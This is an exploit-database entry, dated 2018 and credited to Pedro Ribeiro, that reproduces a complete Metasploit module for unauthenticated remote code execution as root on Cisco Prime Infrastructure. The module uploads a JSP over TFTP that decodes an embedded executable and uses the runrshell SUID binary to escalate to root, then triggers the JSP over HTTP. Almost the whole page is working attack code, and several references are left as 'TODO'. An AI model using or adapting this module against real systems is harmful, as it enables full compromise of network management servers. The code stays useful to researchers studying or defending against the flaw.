Cisco Prime Infrastructure Unauthenticated Remote Code Execution

2018.10.09
Credit: Pedro Ribeiro
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution', 'Description' => %q{ Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow an unauthenticated attacker to achieve remote code execution. The first flaw is a file upload vulnerability that allows the attacker to upload and execute files as the Apache Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions in a SUID binary. This module exploits these vulnerabilities to achieve unauthenticated remote code execution as root on the CPI default installation. This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions might also be affected, although 3.4.0.0.348 is the latest at the time of writing. }, 'Author' => [ 'Pedro Ribeiro' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'CVE', 'TODO' ], [ 'URL', 'TODO' ], [ 'URL', 'TODO' ] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Cisco Prime Infrastructure', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'TODO' )) register_options( [ OptPort.new('RPORT', [true, 'The target port', 443]), OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]), OptBool.new('SSL', [true, 'Use SSL connection', true]), OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp']) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'), 'method' => 'GET' }) if res && res.code == 404 && res.body.length == 0 # at the moment this is the best way to detect # a 404 in swimtemp only returns the error code with a body length of 0, # while a 404 to another webapp or to the root returns code plus a body with content return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def upload_payload(payload) lport = datastore['LPORT'] || (1025 + rand(0xffff-1025)) lhost = datastore['LHOST'] || "0.0.0.0" remote_file = rand_text_alpha(rand(14) + 5) + '.jsp' tftp_client = Rex::Proto::TFTP::Client.new( "LocalHost" => lhost, "LocalPort" => lport, "PeerHost" => rhost, "PeerPort" => datastore['RPORT_TFTP'], "LocalFile" => "DATA:#{payload}", "RemoteFile" => remote_file, "Mode" => 'octet', "Context" => {'Msf' => self.framework, 'MsfExploit' => self}, "Action" => :upload ) print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'" tftp_client.send_write_request remote_file end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_pstream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_tmp2 = rand_text_alpha(rand(8) + 3) var_path2 = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2}); | jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh"); String #{var_path2} = #{var_tmp2}.getAbsolutePath(); PrintWriter #{var_pstream} = new PrintWriter(new FileOutputStream(#{var_path2})); #{var_pstream}.println("!#/bin/sh"); #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'"); #{var_pstream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = upload_payload(jsp_payload) # we land in /opt/CSCOlumos, so we don't know the apache directory # as it changes between versions... so leave this commented for now # ... and try to find a good way to clean it later # register_files_for_cleanup(jsp_name) print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_name), 'method' => 'GET' }) handler end end


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